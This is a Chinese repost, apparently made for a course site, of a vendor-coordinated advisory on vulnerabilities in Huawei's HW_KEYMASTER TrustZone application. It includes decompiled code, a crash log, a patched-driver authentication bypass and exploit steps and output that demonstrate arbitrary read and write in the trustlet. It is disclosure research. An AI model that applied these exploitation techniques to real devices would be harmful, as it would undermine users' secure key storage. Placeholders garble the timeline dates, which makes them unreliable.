二进制漏洞分析-5.华为安全监控漏洞(SMC MNTN OOB 访问)
二进制漏洞分析-10.华为TrustZone TEE_SERVICE_VOICE_REC漏洞
二进制漏洞分析-19.华为TrustZone TCIS漏洞
二进制漏洞分析-21.华为TrustZone TALoader信息泄露
二进制漏洞分析-22.华为TrustZone TA_uDFingerPrint漏洞
二进制漏洞分析-23.华为TrustZone TA_SensorInfo漏洞
二进制漏洞分析-24.华为TrustZone TA_HuaweiWallet漏洞
二进制漏洞分析-25.华为TrustZone TA_SignTool OOB Read
二进制漏洞分析-26.华为华为TrustZone IfaaKey_TA漏洞
华为TrustZone HW_KEYMASTER漏洞
此通报包含有关以下漏洞的信息:
CVE-2021-40017 漏洞 将任意数据写入 sec_storage_data/PKI/
CVE-2021-40040 漏洞 写入在 generate_keyblob 中设置的受控参数
CVE-2021-46887 漏洞 ber_pop_front中的整数溢出
HWPSIRT-2021-26563 cmd_verify_key中的堆栈地址泄漏
HWPSIRT-2021-07329 ber_init中的整数溢出
HWPSIRT-2021-63468 verify_root_cert中的逻辑问题
HWPSIRT-2021-73188 get_soter_cpuid中的堆栈缓冲区溢出
HWPSIRT-2021-53224 get_soter_cpuid中的 OOB 访问
我们发现 3 个影响华为可信应用程序的漏洞,这些漏洞可用于在 S-EL0 上实现代码执行:HW_KEYMASTER
写入任意数据导致任意读取内存(甚至可能是任意写入);sec_storage_data/PKI/
将受控参数写入任意内存地址(名称是我们自己的);generate_keyblob
整数溢出(名称是我们自己的),导致对任意内存地址的 OOB 读取访问。ber_pop_front
我们还发现了影响华为可信应用程序的另外 5 个错误:HW_KEYMASTER
堆栈地址泄漏(名称是我们自己的);cmd_verify_key
一个整数溢出(名称是我们自己的);ber_init
(名称是我们自己的)中的逻辑问题;verify_root_cert
堆栈缓冲区溢出(名称是我们自己的);get_soter_cpuid
一个 OOB 访问权限(名称是我们自己的)。get_soter_cpuid
sec_storage_data/PKI/
¶0x2C0F8 函数和 0x2A1E8 函数可用于将任意数据写入 SFS 文件夹中的任何文件。由于用户可以指定 key、nonce 和 aad,因此他们可以发送输入和标记,从而生成他们选择的纯文本。因此,文件名和文件数据是完全可控的。cmd_unwrap
unwrap_asset_data_and_write_it_to_file
sec_storage_data/PKI/
int cmd_unwrap(int paramTypes, TEE_Param params[4]) {
// ...
// wrap_key_type, associated_data, account_uid and assetstore_base_pwd
// are extracted from the params set contained in params[0]
params_from_key_params = get_params_from_key_params(
params[0].memref.buffer,
&wrap_key_type,
&associated_data,
&account_uid,
&assetstore_base_pwd);
// ...
// fst_alias and snd_alias (2 strings), and wrap_key_type (integer)
// are extracted as TLVs from params[1]
key_aliases = get_key_aliases(
params[1].memref.buffer,
params[1].memref.size,
&fst_alias,
&snd_alias,
wrap_key_type);
// ...
// we can specify wrap_key_type == 1
switch (wrap_key_type) {
case 1:
// if fst_alias is the alias of an AES key, its keymaterial
// will be retrieved from the SFS and put into key_param
get_aes_keymaterial_from_alias(&key_param, fst_alias.buf, fst_alias.len);
// ...
// a buffer of size 0x1000 is allocated to contain the plaintext
decrypt_data.buf = TEE_Malloc(0x1000, 0);
decrypt_data.len = 0x1000;
// ...
// the ciphertext contained in params[2] (as a TLV, alongside the nonce
// and tag) is decrypted using the aforementioned AES key, using the
// AES-256-CCM crypto algorithm (the AAD is derived from associated_data)
unwrap_asset_data_and_aes_decrypt(
key_param.buf,
key_param.len,
uid.buf,
uid.len,
¶ms[2].memref.buffer,
¶ms[2].memref.size,
&decrypt_data);
// ...
// unwrap_asset_data_and_write_it_to_file is called with the
// user-controlled plaintext and snd_alias
unwrap_asset_data_and_write_it_to_file(
decrypt_data.buf,
decrypt_data.len,
snd_alias.buf,
snd_alias.len,
¶ms[3]);
// ...
}
// ...
}int unwrap_asset_data_and_write_it_to_file(
int *decrypt_buf,
int decrypt_len,
int snd_alias_buf,
int snd_alias_len,
TEE_Param *param3) {
// ...
tlv_buffer = decrypt_buf;
tlv_val_p = &tlv_val;
tlv_val.buf = 0;
tlv_val.len = 0;
tlv_size = decrypt_len;
expected_tags[0] = 2;
// ...
// tlv_val is extracted as an TLV value from the plaintext data
parse_unwrap_asset_data_tlv(&expected_tags, 1, &tlv_buffer, &tlv_size, &tlv_val_p);
// ...
// tlv_val is written to the SFS to the sec_storage_data/PKI/<snd_alias> file
write_data_to_file_by_alias(snd_alias_buf, snd_alias_len, tlv_val.buf, tlv_val.len);
// ...
}
此漏洞具有安全隐患,因为该文件夹包含 Keymaster 使用的各种类型的文件(特别是 keyblob)。伪造 keyblob 的内容可能会导致任意读取,也可能导致任意写入,正如我们将在利用部分看到的那样。sec_storage_data/PKI/
generate_keyblob
¶0xB0CC 处的函数应为 memref,因为它将使用刚刚生成的 keyblob 的参数集填充它(使用 0xA1C8 处的函数)。但是,下面报告了一个代码路径,该路径从 a 开始并允许到达 a 值而不是 memref。这意味着参数集数据将被写入任意地址。此外,由于参数集来自 ,写入的数据也部分由用户控制。generate_keyblob
params[3]
resort_key_characteristics
cmd_begin
generate_keyblob
params[1]
params[1]
易受攻击的代码路径如下:
cmd_begin
在0xC540
get_key_blob
在0xBE60
process_begin_for_keychain_new
在0xBCC0
generate_symmetric_keymaterial_special
在0xBA98
generate_keyblob
在0xB0CC
resort_key_characteristics
在0xA1C8
int cmd_begin(unsigned int paramTypes, TEE_Param params[4]) {
// ...
get_key_blob(params, params_enforced, &key_blob, &vendor_type);
// ...
}int get_key_blob(
TEE_Param *params,
unsigned int *params_enforced,
keyblob_t **keyblob_p,
int *vendor_type_p) {
// ...
return process_begin_for_keychain_new(v10, v13, v12, v11);
// ...
}
int process_begin_for_keychain_new(
int access_limit,
TEE_Param *params,
unsigned int *params_enforced,
keyblob_t **keyblob_p) {
// ...
generate_symmetric_keymaterial_special(key_data, 0x100u, &derive_factor, params, keyblob_p);
// ...
}
int generate_symmetric_keymaterial_special(
char *key_data,
unsigned int key_size,
key_param_t *derive_factor,
TEE_Param *params,
keyblob_t **keyblob_p) {
// ...
generate_keyblob(&derived_key, 0, params, 1, keyblob_p);
// ...
}
int generate_keyblob(
key_param_t *derived_key,
int a2,
TEE_Param *params,
int use_second_param,
keyblob_t **keyblob_p) {
// ...
if (use_second_param == 1)
params_set = params[1].memref.buffer;
else
params_set = params[0].memref.buffer;
// ...
keyblob = TEE_Malloc(0x1000u, 0);
keyblob->magic = 'HIKM';
keyblob->version = 0x12C;
memcpy_s(keyblob->blob, 0xFA0, derived_key->buf, derived_key->len);
keyblob->key_len = derived_key->len;
keyblob->key_off = 0x60;
// ...
hw_params_off = (derived_key->len + 0x63) & 0xFFFFFFFC;
hw_params_count = *(uint32_t *)params_set;
*(uint32_t *)(keyblob + hw_params_off) = hw_params_count;
memcpy_s(keyblob + hw_params_off + 4, 0xFFC - hw_params_off, params_set + 1, 0x10 * hw_params_count);
keyblob->hw_params_off = hw_params_off;
// ...
// copying of the sw_params in a similar fashion
// ...
// copying of the out-of-line params set data in a similar fashion
// ...
sort_params_set = params[3].memref.buffer;
if (!sort_params_set) // ...
sort_params_set_size = params[3].memref.size;
if (!sort_params_set_size) // ...
total_size = extra_end_offset - keyblob_->hw_params_off;
if (sort_params_set_size < total_size) // ...
resort_key_characteristics(sort_params_set, hw_params_ptr, total_size);
// ...
}
我们在本报告的利用部分演示了这种任意写入。
ber_pop_front
¶int ber_pop_front(ber_t *out_ber, ber_t *in_ber, int expected_type, int expected_class, int allowed_flag) {
// ...
read_ptr = in_ber->read_ptr;
// ...
tag = ber_read_byte(in_ber);
// ...
first_length = ber_read_byte(in_ber);
// ...
length = first_length;
if (first_length & 0x80) {
length = 0;
for (int i = 0; i < first_length & 0x7F; ++i)
length = ber_read_byte(in_ber) | (length << 8);
}
// ...
new_end = in_ber->read_ptr + length;
if (new_end <= in_ber->buf_end) {
in_ber->read_ptr = new_end;
out_ber->read_ptr = read_ptr;
out_ber->buf_end = new_end;
} else {
// ...
}
// ...
}
0x1D54处的函数包含加法上的整数溢出。通过为 指定负值,可以在缓冲区开始之前进行点。然后,下次调用此指针来读取 BER 编码值时,将导致 OOB 读取访问。ber_pop_front
in_ber->read_ptr + length
length
new_end
ber_pop_front
我们通过概念验证触发了此错误,并在以下位置获得了以下崩溃:0x2ebefec9 = 0x7000400a - 0x41414141
[HM] [ERROR][2171]vmem_as_ondemand_prepare failed
[HM] [ERROR][2496]process 2200000028 (tid: 40) data abort:
[HM] [ERROR][2498]Bad memory access on address: 0x2ebefec9, fault_code: 0x92000006
[HM]
[HM] Dump task states for tcb
[HM] ----------
[HM] name=[HW_KEYMASTER] tid=40 is-idle=0 is-curr=0
[HM] state=BLOCKED@MEMFAULT sched.pol=0 prio=46 queued=1
[HM] aff[0]=ff
[HM] flags=1000 smc-switch=0 ca=9358 prefer-ca=9358
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <?>+0x0/0x0
[HM] <TA_InvokeCommandEntryPoint>+0x64/0xd8
[HM] <tee_task_entry>+0x398/0xcd4
[HM] Dump task states END
[HM]
[HM] [TRACE][1212]pid=51 exit_status=130
cmd_verify_key
¶0x39E80处的函数包含对函数的调用,该函数将打印堆栈变量的地址。可以使用 检索此日志消息。我们无法触发位于错误路径中的调用。cmd_verify_key
SLog
logcat
.text:0003A3F4 LDR R1, =(aError - 0x3A408) ; "[Error]"
.text:0003A3F8 SUB R3, R11, #-a2
.text:0003A3FC LDR R0, =(aSCurrentCertIt - 0x3A40C) ; "%s: current cert iterator[%u] > count[%"...
.text:0003A400 ADD R1, PC, R1 ; "[Error]"
.text:0003A404 ADD R0, PC, R0 ; "%s: current cert iterator[%u] > count[%"...
.text:0003A408 BL SLog
ber_init
¶0x1FB8 处的函数包含加法上的整数溢出。我们没有找到触发此错误的方法,因为大小来自其中一个,并且它们的大小在内核端限制为 1 MB。ber_init
buf + size
TEE_Params
ber_t *ber_init(ber_t *ber, uint8_t *buf, uint32_t size, ber_state_t *state) {
state->error = 0;
state->error_ptr = 0;
ber->read_ptr = buf;
ber->buf_end = buf + size;
ber->state = state;
return ber;
}int cmd_sop_decrypt(unsigned int paramTypes, TEE_Param params[4]) {
// ...
ibuf1_addr = params[1].memref.buffer;
if (!ibuf1_addr) // ...
// ...
ibuf1_size = params[1].memref.size;
if (!buf1_size) // ...
// ...
ber_init(&ber, ibuf1_addr, ibuf1_size, &state);
// ...
}
verify_root_cert
¶0x34700处的函数用于验证当前安装的根证书(保存在弹性文件服务上)是否与用户提供的证书链中的根证书相同。比较存在逻辑问题,因为只有当大小不同且内容不同(而不是 OR)时才会出现错误情况。我们没有评估此错误的安全影响。verify_root_cert
unsigned int verify_root_cert(cert_entry_t *certs) {
// ...
cert_entry_t root_certs[3];
memset(root_certs, 0, sizeof(root_certs)); for (int i = 0; i < 3; ++i) {
cert_entry = get_cert_entry(1, 1, i, &root_certs[i]);
// ...
}
if (root_certs[2].len != certs[2].len
&& TEE_MemCompare(root_certs[2].buf, certs[2].buf, root_certs[2].len)) {
ret = -1;
SLog("%s: verifyRootCert fail\n\n", "[Error]");
}
free_certs(root_certs, 3);
return ret;
}
get_soter_cpuid
¶0x18510 处的函数可能会溢出它作为参数给出的缓冲区。如果 (从用户可以设置的证书中提取) 的大小等于缓冲区的大小,则大小为 9 的随机十六进制字符串将被写入缓冲区的边界之外。get_soter_cpuid
common_name
hexbuf
此函数通过 0x18794 处的函数在 3 个位置调用:get_soter_cntr_or_cpuid
在 0x18C1C 的功能中build_json_for_attestation
在 0x18DCC 的函数中build_json_message_to_sign
在函数中0x19BF8build_soter_json_AK
在每种情况下,都会在堆栈上分配溢出的缓冲区(大小为 0x80)。我们没有尝试触发此错误。
int build_json_for_attestation(int a1, int a2, int a3, int a4) {
// ...
char s[128];
// ...
memset(out_buf, 0, sizeof(out_buf));
out_buf_len = 0x80;
get_soter_cntr_or_cpuid(0, out_buf, &out_buf_len);
// ...
}int get_soter_cntr_or_cpuid(int a1, char *out_buf, uint32_t *out_buf_len_p) {
get_soter_cpuid(out_buf, out_buf_len_p);
}
int get_soter_cpuid(char *out_buf, uint32_t *out_buf_len_p) {
char hexbuf[12];
// ...
cert_entry = get_cert_entry(1, 1, 0, &cert);
// ...
get_cert_dn_component_maybe(&component, 5u, cert.buf + 4, cert.len - 4);
while (component[0] != 6 || component[1] != 3 || TEE_MemCompare(component + 2, &g_common_name_oid, 3))
++component;
cpuid = component[5];
common_name_len = component[6];
common_name = component + 7;
out_buf_len = *out_buf_len_p;
component += 7;
if (out_buf_len < common_name_len) {
SLog("%s: out_buf_len:%u is less than cert_entry'CN:%d\n", "[Error]", out_buf_len, common_name_len);
goto LABEL_3;
}
TEE_MemMove(out_buf, common_name, common_name_len);
*out_buf_len_p = common_name_len;
// ...
rndbuf = TEE_Malloc(4, 0);
TEE_GenerateRandom(rndbuf, 4);
hexbuf[0] = 0x2D;
to_hex_string(rndbuf, 4, &hexbuf[1], 8u);
TEE_MemMove(&out_buf[*out_buf_len_p], hexbuf, 9u);
*out_buf_len_p += 9;
// ...
}
get_soter_cpuid
¶如果证书不包含公用名,则 0x18510 处的函数也可以触发 OOB 访问。只要找不到公用名 OID,while 循环就会无限期地继续递增。get_soter_cpuid
component
component
int get_soter_cpuid(char *out_buf, uint32_t *out_buf_len_p) {
char hexbuf[12];
// ...
cert_entry = get_cert_entry(1, 1, 0, &cert);
// ...
get_cert_dn_component_maybe(&component, 5u, cert.buf + 4, cert.len - 4); while (component[0] != 6 || component[1] != 3 || TEE_MemCompare(component + 2, &g_common_name_oid, 3))
++component;
// ...
}
我们将利用我们提到的两个漏洞来证明我们可以从这些漏洞中获得任意读/写。有问题的漏洞是写入任意数据以及写入 中设置的受控参数。sec_storage_data/PKI/
generate_keyblob
我们开发漏洞利用的设备是运行固件更新的P40 Pro。ELS-LGRP4-OVS_11.0.0.223
trustlet 二进制 MD5 校验和如下:
HWELS:/ # md5sum /vendor/bin/86310d18-5659-47c9-b212-841a3ca4f814.sec
e5b15daf991407ee3c440b98b7e5cb23 /vendor/bin/86310d18-5659-47c9-b212-841a3ca4f814.sec
华为TEE OS iTrustee实现了白名单机制,只允许特定的客户端应用(原生二进制文件或APK)与可信应用通信。
在我们的例子中,HW_KEYMASTER TA 只能由以下 CA 调用:
/system/bin/keystore
(UID 1017)
/system/bin/vold
(UID 0)
/vendor/bin/atcmdserver
(UID 0)
/vendor/bin/hw_cert_service
(UID 0)
/vendor/bin/hw/[email protected]
(UID 1000)
/system/bin/tee_test_ut
(UID 0)
com.huawei.systemserver
(APK)
com.huawei.hwonlineprovisionservice
(APK)
身份验证机制分 3 个部分实现:
实现 TEE 客户端 API 的守护进程检查哪个原生二进制文件/APK 正在与它通信,并将该信息发送到内核驱动程序;teecd
内核驱动程序确保它正在与 通信,并将其接收到的信息转发给 TEE OS;teecd
TEE OS 验证客户端应用程序是否在 TA 的白名单中。
由于我们不想费心在这些二进制文件之一中注入代码,因此我们选择通过修补内核驱动程序来规避身份验证,以添加模拟任何原生二进制文件/APK 的功能。
为了触发向SFS写入任意数据,我们首先使用命令(ID 0x10003)导入全零AES密钥(带有别名)。然后,我们通过使用 AES-256-CCM 加密文件数据来准备文件数据,并使用全零密钥、全零 IV 和 SHA256 哈希作为关联数据。最后,我们使用别名、全零 IV、关联数据以及我们之前计算的加密文件数据和标记来调用命令 (ID 0x1001)。key
cmd_import_aes_key
86310d18-5659-47c9-b212-841a3ca4f814\x00...16 times...\x00
cmd_unwrap
key
\x00...16 times...\x00
int cmd_get(unsigned int paramTypes, TEE_Param params[4]) {
// ...
ret = get_keyblob_from_alias(
&keyblob,
&keyblob_size,
params[0].memref.buffer,
params[0].memref.size,
params[2].value.a);
// ...
if (keyblob->magic == 0x534554
&& keyblob->version <= 0x12C
&& keyblob->keyblob_total_size == keyblob_size) {
memcpy_s(
params[1].memref.buffer,
params[1].memref.size,
keyblob + keyblob->key_off,
keyblob->key_len);
// ...
params[1].memref.size = keyblob->key_len;
}
// ...
}
为了触发相对读取,我们将“假”keyblob 写入文件,并使用相同的文件名调用命令 (ID 8)。此命令将读取文件并将其内容放入 .由于我们可以控制 keyblob 文件的全部内容,因此我们可以通过检查并让命令调用 . 将从用户控制的相对于对象的偏移量复制到,并具有用户控制的大小。由于 keyblob 是堆分配的,因此我们可以泄漏堆的内容。sec_storage_data/PKI/blob
cmd_get
blob
keyblob
memcpy_s
memcpy_s
params[1]
keyblob
以下是堆内容的摘录:
...
X + 0x80 : 58 f0 c0 03 d0 89 fe 00 67 70 64 2e 74 61 2e 61 X.......gpd.ta.a
X + 0x90 : 70 70 49 44 00 18 0d 31 86 59 56 c9 47 b2 12 84 ppID...1.YV.G...
X + 0xa0 : 1a 3c a4 f8 14 00 00 00 41 00 00 00 41 00 00 00 .<......A...A...
X + 0xb0 : d8 89 fe 00 02 00 00 00 01 00 00 00 04 00 00 00 ................
X + 0xc0 : 90 89 fe 00 10 8a fe 00 67 70 64 2e 74 61 2e 73 ........gpd.ta.s
X + 0xd0 : 69 6e 67 6c 65 49 6e 73 74 61 6e 63 65 00 25 73 ingleInstance.%s
X + 0xe0 : 20 25 00 00 00 00 00 00 41 00 00 00 41 00 00 00 %......A...A...
X + 0xf0 : 18 8a fe 00 02 00 00 00 01 00 00 00 04 00 00 00 ................
X + 0x100: d0 89 fe 00 50 8a fe 00 67 70 64 2e 74 61 2e 6d ....P...gpd.ta.m
X + 0x110: 75 6c 74 69 53 65 73 73 69 6f 6e 00 25 73 20 25 ultiSession.%s %
X + 0x120: 00 00 00 00 00 00 00 00 41 00 00 00 41 00 00 00 ........A...A...
X + 0x130: 58 8a fe 00 02 00 00 00 01 00 00 00 04 00 00 00 X...............
...
为了能够从任意地址读取数据,我们需要泄漏 .在转储堆时,我们注意到字符串周围有两个指针(一个指针在,一个指针在),具有相同的值(在上面的转储中)。多亏了这些指针,我们可以推断出位于它们之间的对象的地址(在上面的转储中),从而推断出我们的对象的地址。keyblob
gpd.ta.appID
next
X + 0x84
prev
X + 0x100
d0 89 fe 00
X + 0xc0
keyblob
然后,我们使用任意读取和 TALoader 信息泄漏来查找 trustlet 的基址。最后,我们使用此地址转储 trustlet 的内存,作为本演示的最后一步。
要触发对内存的任意写入,我们首先使用 调用命令 (ID 0x30001)。这将初始化下一步所需的用户密钥。cmd_on_user_event
event_type == 2
然后,我们使用以下参数集值调用命令 (ID 3):cmd_begin
params[1]
KM_TAG_VENDOR_TYPE
: 1
KM_TAG_ASSETSTORE_ACCESSLIMITATION
: 2
KM_TAG_PURPOSE
: 0x41414141
KM_TAG_DERIVE_FACTOR
:\x00...16 times...\x00
0x90015FB9
:\x00\x00\x00\x00
这些值允许访问漏洞详细信息中显示的代码路径。我们指定要写入的地址和大小。复制这些值时,将检查我们提供的大小,并且需要确保它足够大以包含参数集缓冲区中的值。最后,为了表明我们控制了一些正在写入的数据,我们选择设置一个自定义参数值。params[3].value_a
params[3].value_b
KM_TAG_PURPOSE
请注意,如果需要控制超过 1/2/4/8 个连续字节的写入数据,我们还可以使用类型为 的可复制标签,例如包含行外数据的 0x900002C3、0x900002C4 或 0x900003EA。KM_BYTES
您可以在下面找到我们设备上运行的漏洞利用的输出:
adb wait-for-device shell su root sh -c "\"LD_LIBRARY_PATH=/data/local/tmp /data/local/tmp/poc\""
object is at 10c0910
ta_base_addr = 39ae000
TA memory dump:
0x039ae000: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 .ELF............
0x039ae010: 03 00 28 00 01 00 00 00 0c 1d 00 00 34 00 00 00 ..(.........4...
0x039ae020: dc 81 0b 00 00 02 00 05 34 00 20 00 05 00 28 00 ........4. ...(.
0x039ae030: 11 00 10 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
...
Writing a params set to an arbitrary address...
Reading the params set that was just written...
0x70000800: 05 00 00 00 01 00 00 20 00 00 00 00 41 41 41 41 ....... ....AAAA
0x70000810: 00 00 00 00 be 02 00 10 2c f8 a9 03 00 00 00 00 ........,.......
0x70000820: 04 fa a9 03 c1 02 00 30 00 00 00 00 00 00 00 00 .......0........
0x70000830: 00 00 00 00 c2 02 00 30 00 00 00 00 00 00 00 00 .......0........
...
虽然它不包含在漏洞利用中,但可以通过替换函数指针/覆盖返回地址和链接 ROP 小工具来执行代码。有很多小工具可供选择,因为共享库(、、等)映射在 trustlet 的地址空间中。libc_shared_a32.so
libtee_shared_a32.so
libvendor_shared_a32.so
例如,这可用于进行任意系统调用,并可能进一步提升权限。
我们验证了这些漏洞是否影响了以下设备:
麒麟990:P40 专业版 (ELS)
请注意,其他型号可能已受到影响。
名字 | 严厉 | CVE漏洞 | 补丁 |
---|---|---|---|
将任意数据写入sec_storage_data/PKI/ | 危急 | CVE-2021-40017 漏洞 | 2022 年 <> 月 |
写入 中设置的受控参数generate_keyblob | 危急 | CVE-2021-40040 漏洞 | 2022 年 <> 月 |
整数溢出ber_pop_front | 高 | CVE-2021-46887 漏洞 | 2023 年 <> 月 |
堆栈地址泄漏cmd_verify_key | 低 | 不适用 | 固定 |
整数溢出ber_init | 低 | 不适用 | 固定 |
中的逻辑问题verify_root_cert | 低 | 不适用 | 固定 |
堆栈缓冲区溢出get_soter_cpuid | 低 | 不适用 | 固定 |
OOB 访问get_soter_cpuid | 低 | 不适用 | 固定 |
24年2021月<>日,华为PSIRT收到漏洞报告。
12年2022月<>日 - 华为PSIRT确认该漏洞报告。
01年2023月2022日 - 华为PSIRT表示,这些问题已在2023年<>月和<>年<>月的更新中修复。
从 30 年 2022 月 19 日至 2023 年 <> 月 <> 日 - 我们定期交换有关公告发布的信息。
21年2023月<>日 - 华为PSIRT通知华为PSIRT,部分漏洞未修复。
03年2023月2023日 - 华为PSIRT回复,将在<>年<>月更新中修复。
二进制漏洞(更新中)
其它课程
windows网络安全防火墙与虚拟网卡(更新完成)
windows文件过滤(更新完成)
USB过滤(更新完成)
游戏安全(更新中)
ios逆向
windbg
恶意软件开发(更新中)
还有很多免费教程(限学员)
更多详细内容添加作者微信